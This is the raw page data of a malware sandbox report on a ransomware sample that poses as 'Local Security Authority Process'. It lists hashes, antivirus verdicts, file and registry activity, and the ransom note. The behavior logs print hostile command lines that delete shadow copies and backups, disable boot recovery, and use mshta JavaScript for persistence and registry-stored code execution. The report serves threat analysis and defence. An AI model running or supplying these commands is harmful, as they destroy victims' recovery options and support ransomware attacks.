26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 33:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T4a1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample c7693a1e87d8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c7693a1e87d8…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade"],"about":{"@type":"SoftwareApplication","name":"Local Security Authority Process.bak","applicationCategory":["peexe","executable"],"identifier":"c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":20,"total":28},"behavioralIndicators":{"malicious":10,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T430,"" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\LOCALSECURITYAUTHORITYPROCESS.BAK.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\LOCALSECURITYAUTHORITYPROCESS.BAK.EXE") "" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\LOCAL SECURITY AUTHORITY PROCESS.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\LOCAL SECURITY AUTHORITY PROCESS.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE"; Key: "PATH"; Value: "00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE")28:T671,"WMIC.pdb" ",," "Software\Adobe\Adobe Acrobat\10.0\AVPrivateAcro load doneAppTimerAcro init instance doneAppTimerAcro idle draw doneAppTimer0kernel32.dllacroT_win_%ibad castSTATIC<42$2*20262<2vB2H2N2swBrowser!P`GetNamedPipeClientProcessId\\.\pipe\ACROCOMM\ACTWIN_DMMFMessageGeneralErrorCommandSendResultErrorCommandNotRecognizedErrorCommandInvalidContextErrorCommandSameOriginErrorCommandCertifiedDocErrorCommandGeneralErrorMessageNotAllowedErrorMessageDocRefusedDisclosureErrorMessageDocNotDisclosedError\;PATHAcroDbg.exeAcrobat.exeAcRd32_D.exeAcroRd32.exe"DDELaunchCommandLaunchCommandSoftware\Microsoft\SoftGrid\\Client\UserInterfaceSoftware\Microsoft\SoftGridadobe readerSoftware\Adobe\Acrobat\ExeSoftware\Adobe\Acrobat\MURD\Exe.MURD.11AcRd32_D.dllAcroRd32.dllAcroDbg.dllAcrobat.dllSoftware\Adobe\%s\%d.0\OriginalsAdobe AcrobatAcrobat ReaderSoftware\Microsoft\Windows\CurrentVersion\Ext\Settings\{CA8A9780-280D-11CF-A24D-444553540000}Acrobat ViewerAcrobat Viewer DebugAXWasInitViaPDFL\QBW32.exe\ContributeIBED.exe\ContributeIBE.exe\ContributeD.exe\Contribute.exe\FormDesigner.exeEWHAcrobatTransportWindowEWHAcrobatTransportWindow6_acroT_win_acroS_win%s_%lu_%luAcroSBL.exeAcRd32_DAcroRd32Acrobat\AcroDbg.exe\Acrobat.exeAcrobat Reader%d.0 /id %ld /V /CR /w %ld" /o /eo /l /b /ac /o /eo /l /b /ac" /o /eo /l /b /o /eo /l /b" /o /eo /l" /oUseClientHeapAcroWinBrowserMainAcroPDF_perfstats.txtdll\bib.dllLoadAcrobatInProcacroT_win_SB_%i_acroT_win_9Plus.DLLp0ACTPrivate#'\\.\pipe\AIPC_SRV\GetNamedPipeServerProcessIdSoftware\Adobe\%s\%s\PrivilegedSoftware\Policies\Adobe\%s\%s\FeatureLockDownbProtectedModeT2!("H RSDSO!<&xBsTNppdf32.pdb@ @@ ,H@@@dtH`"29:T996,Spawned process "cmd.exe" with commandline "/c copy /y "C:\LocalSecurityAuthorityProcess.bak.exe" "%APPDATA%\Local Security Authority Process.exe"" (UID: 00007683-00003716) Spawned process "" with commandline "runas" (UID: 00007700-00003420) Spawned process "cmd.exe" with commandline "/c copy /y "C:\LocalSecurityAuthorityProcess.bak.exe" "%APPDATA%\Local Security Authority Process.exe"" (UID: 00007859-00003476) Spawned process "Local Security Authority Process.exe" (UID: 00007876-00003176) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('LocalSecurityAuthorityProcess.bak.exe');close()}catch(e){}} 10);"" (UID: 00007877-00004032) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('Local Security Authority Process.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\JMAHRDUU',i);}catch(e){}} 10);"" (UID: 00008111-00002396) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\XQBLC\\ECDBR'));close();"" (UID: 00008114-00003080) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00008264-00002184) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00008288-00003836) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00008299-00003556) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00008309-00003236) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00008320-00002732) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00008349-00002556) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00008359-00002680) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00008363-00003576) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00008367-00001244) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00008374-00001992)2a:T431,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\System32\en-US\setupapi.dll.mui" "" touched file "C:\Users\2jhx3ER\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\System32\en-US\propsys.dll.mui" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "cmd.exe" touched file "C:\Windows\System32\en-US\cmd.exe.mui" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "C:\Windows\System32\mshta.exe"2b:T8fa,"Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14497487895 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14559895778 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14589439379 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14655167347 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14728525920 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14796640823 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14892841623 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-14961718313 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15043793822 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15147254616 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15195696498 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15264242416 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15332750984 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15411935751 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15684485047 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15762032082 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-15866472248 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-16143137957 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-16282637957 "Local Security Authority Process.exe" queried SystemProcessInformation at 00007876-00003176-00000105-164802667212c:Tae8,"/( )` Warning all your files are encrypted !!! \ \___ / | /- _ `-/ ' To receive the decoder, you must send an email to (/\/ \ \ /\ the email address with your personal ID: / / | ` \ O O ) / | DiskDoctor@protonmail.com `-^--'`< ' (_.) _ ) / In response you will receive further instructions. `.___/` / `-----' / ATTENTION !!! <----. __ / __ \ * Do not attempt to uninstall the program or run <----|====O)))==) \) /==== antivirus software. <----' `--' `.__,' \ * Attempts to self-decrypt files will result in the | | loss of your data. \ / * Decoders of other users are incompatible with your ______( (_ / \______ data, as each user has a unique encryption key. ,' ,-----' | \ `--{__________) \/ Your personal identifier:=====================================================================================================6A02000000000000EE86F5261D92DB11C43008035B328887E8BFB1DBDC4766884D405AE565BEABE737DA3DBDDCE391BAE41B71AAA528ED1DC5D6743BEB663CEE38956989EC5654EB59A774B8FD223AEB1BDD45112FC6A1D9DC6D57F4797BABC7497FCCBE9EDBB8F2E5D4464E6B1F6D7BFD3AD94DD79DC5142BE495E9E58342E2D062E79BCC49CE92E19A669B12BDFDB8AA79E6FC26EEF537F33603291B7392BB63CD9DF0CA761B8BCB68DE9BFAD4784CAC22AB5EC77B38FC8685AA608344363CD7E5B9EB49985560B5AA461768AECCC2FE3DBD6A6F411DEC5D3B038BD0A6D12ED87DDE84D30C52F100FC1A504256E6861E60D2CC09CFCB1942BC66D1E7C3C89BA1860C21C4C7ABF78BE7DF078417D706747883BD68DBD2DB9C833A5E61CD8BFBF40159B6606608E3CBAF8F344DD01891F9532A863F25DDEF1E58E2011E0399AA247C9951D33F=====================================================================================================" (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: "files are encrypted") "Warning all your files are encrypted !!! \ \___ / |" (Source: HOW TO RECOVER ENCRYPTED FILES.TXT, Indicator: "files are encrypted")2d:T492,"C:\LocalSecurityAuthorityProcess.bak.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Local Security Authority Process.exe" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Local Security Authority Process.exe" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\я" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\Program Files\Adobe\Reader 11.0\я" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\Program Files\Adobe\Reader 11.0\Esl\я" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\я" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\я" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\я" for deletion "%APPDATA%\Local Security Authority Process.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AIR\я" for deletion "%WINDIR%\System32\mshta.exe" marked "C:\LocalSecurityAuthorityProcess.bak.exe" for deletion2e:T8c0,"" opened "C:\Users\2jhx3ER\AppData\Roaming\Local Security Authority Process.exe" with delete access "Local Security Authority Process.exe" opened "C:\Users\2jhx3ER\AppData\Roaming\Local Security Authority Process.exe" with delete access "Local Security Authority Process.exe" opened "C:\я" with delete access "Local Security Authority Process.exe" opened "C:\autoexec.bat" with delete access "Local Security Authority Process.exe" opened "C:\config.sys" with delete access "Local Security Authority Process.exe" opened "C:\pagefile.sys" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\я" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Liesmich.htm" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\ReadMe.htm" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Esl\я" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Esl\AiodLite.dll" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\я" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\A3DUtils.dll" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\ACE.dll" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroBroker.exe" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\Acrofx32.dll" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32Info.exe" with delete access "Local Security Authority Process.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroRdIF.dll" with delete access2f:T976,Found string "GetLongPathNameA" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNELBASE.DLL) Found string "GetDiskFreeSpaceExA" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNELBASE.DLL) Found string "CreateToolhelp32Snapshot" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Heap32ListFirst" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Heap32ListNext" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Heap32First" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Heap32Next" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Toolhelp32ReadProcessMemory" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Process32First" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Process32Next" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Process32FirstW" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Process32NextW" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Thread32First" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Thread32Next" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Module32First" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Module32Next" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Module32FirstW" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "Module32NextW" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: KERNEL32.DLL) Found string "VariantChangeTypeEx" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: OLEAUT32.DLL) Found string "VarI4FromStr" (Source: LocalSecurityAuthorityProcess.bak.exe.bin, API is part of module: OLEAUT32.DLL)30:Tb47,"" wrote 32 bytes to a remote process "C:\LocalSecurityAuthorityProcess.bak.exe" (Handle: 396) "" wrote 52 bytes to a remote process "C:\LocalSecurityAuthorityProcess.bak.exe" (Handle: 396) "" wrote 4 bytes to a remote process "C:\LocalSecurityAuthorityProcess.bak.exe" (Handle: 396) "" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Local Security Authority Process.exe" (Handle: 536) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Local Security Authority Process.exe" (Handle: 536) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Local Security Authority Process.exe" (Handle: 536) "" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 232) "" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 232) "" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 232) "Local Security Authority Process.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 344) "Local Security Authority Process.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 344) "Local Security Authority Process.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 344) "Local Security Authority Process.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 360) "Local Security Authority Process.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 360) "Local Security Authority Process.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 360) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbadmin.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wbem\WMIC.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\vssadmin.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\bcdedit.exe" (Handle: 84)31:T9d1,Spawned process "" (UID: 00007493-00003472) Spawned process "cmd.exe" with commandline "/c copy /y "C:\LocalSecurityAuthorityProcess.bak.exe" "%APPDATA%\Local Security Authority Process.exe"" (UID: 00007683-00003716) Spawned process "" with commandline "runas" (UID: 00007700-00003420) Spawned process "cmd.exe" with commandline "/c copy /y "C:\LocalSecurityAuthorityProcess.bak.exe" "%APPDATA%\Local Security Authority Process.exe"" (UID: 00007859-00003476) Spawned process "Local Security Authority Process.exe" (UID: 00007876-00003176) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('LocalSecurityAuthorityProcess.bak.exe');close()}catch(e){}} 10);"" (UID: 00007877-00004032) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('Local Security Authority Process.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\JMAHRDUU',i);}catch(e){}} 10);"" (UID: 00008111-00002396) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\XQBLC\\ECDBR'));close();"" (UID: 00008114-00003080) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00008264-00002184) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00008288-00003836) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00008299-00003556) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00008309-00003236) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00008320-00002732) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00008349-00002556) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00008359-00002680) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00008363-00003576) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00008367-00001244) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00008374-00001992)32:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790324651193,"unified_at":"2026-09-25T08:24:11.193Z","metadata":{"hashes":{"sha256":"c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade","sha1":"d01b1b0aaf3b2cbfad174696a0fad59383e0fe2b","md5":"bf4f285617c60cf6deaf952352cb339a","sha512":"da8fc3c446ccf914557461b57481ae05d3286b0908ecc52d825e91d29868660382b894257864c22f25d78f0c97d8212191908c7d2455508698881da975b9a037","ssdeep":"3072:IDeKAf/5lmz5pRepqUWCrR2ecFIF9AwgaZrQYvACHwjux/dfEU:ieKkmlvyWQFceTAwgaeYdZlt","ssdeep_chunks":["3072:IDeKAf/","3072:DeKAf/5","3072:eKAf/5l","3072:KAf/5lm","3072:Af/5lmz","3072:f/5lmz5","3072:/5lmz5p","3072:5lmz5pR","3072:lmz5pRe","3072:mz5pRep","3072:z5pRepq","3072:5pRepqU","3072:pRepqUW","3072:RepqUWC","3072:epqUWCr","3072:pqUWCrR","3072:qUWCrR2","3072:UWCrR2e","3072:WCrR2ec","3072:CrR2ecF","3072:rR2ecFI","3072:R2ecFIF","3072:2ecFIF9","3072:ecFIF9A","3072:cFIF9Aw","3072:FIF9Awg","3072:IF9Awga","3072:F9AwgaZ","3072:9AwgaZr","3072:AwgaZrQ","3072:wgaZrQY","3072:gaZrQYv","3072:aZrQYvA","3072:ZrQYvAC","3072:rQYvACH","3072:QYvACHw","3072:YvACHwj","3072:vACHwju","3072:ACHwjux","3072:CHwjux/","3072:Hwjux/d","3072:wjux/df","3072:jux/dfE","3072:ux/dfEU","6144:IDeKAf/","6144:DeKAf/5","6144:eKAf/5l","6144:KAf/5lm","6144:Af/5lmz","6144:f/5lmz5","6144:/5lmz5p","6144:5lmz5pR","6144:lmz5pRe","6144:mz5pRep","6144:z5pRepq","6144:5pRepqU","6144:pRepqUW","6144:RepqUWC","6144:epqUWCr","6144:pqUWCrR","6144:qUWCrR2","6144:UWCrR2e","6144:WCrR2ec","6144:CrR2ecF","6144:rR2ecFI","6144:R2ecFIF","6144:2ecFIF9","6144:ecFIF9A","6144:cFIF9Aw","6144:FIF9Awg","6144:IF9Awga","6144:F9AwgaZ","6144:9AwgaZr","6144:AwgaZrQ","6144:wgaZrQY","6144:gaZrQYv","6144:aZrQYvA","6144:ZrQYvAC","6144:rQYvACH","6144:QYvACHw","6144:YvACHwj","6144:vACHwju","6144:ACHwjux","6144:CHwjux/","6144:Hwjux/d","6144:wjux/df","6144:jux/dfE","6144:ux/dfEU","3072:ieKkmlv","3072:eKkmlvy","3072:KkmlvyW","3072:kmlvyWQ","3072:mlvyWQF","3072:lvyWQFc","3072:vyWQFce","3072:yWQFceT","3072:WQFceTA","3072:QFceTAw","3072:FceTAwg","3072:ceTAwga","3072:eTAwgae","3072:TAwgaeY","3072:AwgaeYd","3072:wgaeYdZ","3072:gaeYdZl","3072:aeYdZlt"],"imphash":"efb80292491fb9d7c665ecb8153f62c7"},"file_info":{"file_name":"Local Security Authority Process.bak","file_type":["peexe","executable"],"file_type_id":"exe","file_size":219648,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1528690417000,"last_seen":1659217928000,"last_multi_scan":1659217928000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["contentocrypt","crypt","downloader","filecoder","genasom","kitoles","pulobe","ransomware"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":24,"suspicious_count":23,"malicious_count":10,"total":57},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Generic.lArK","progress":100,"data_source":"MetaD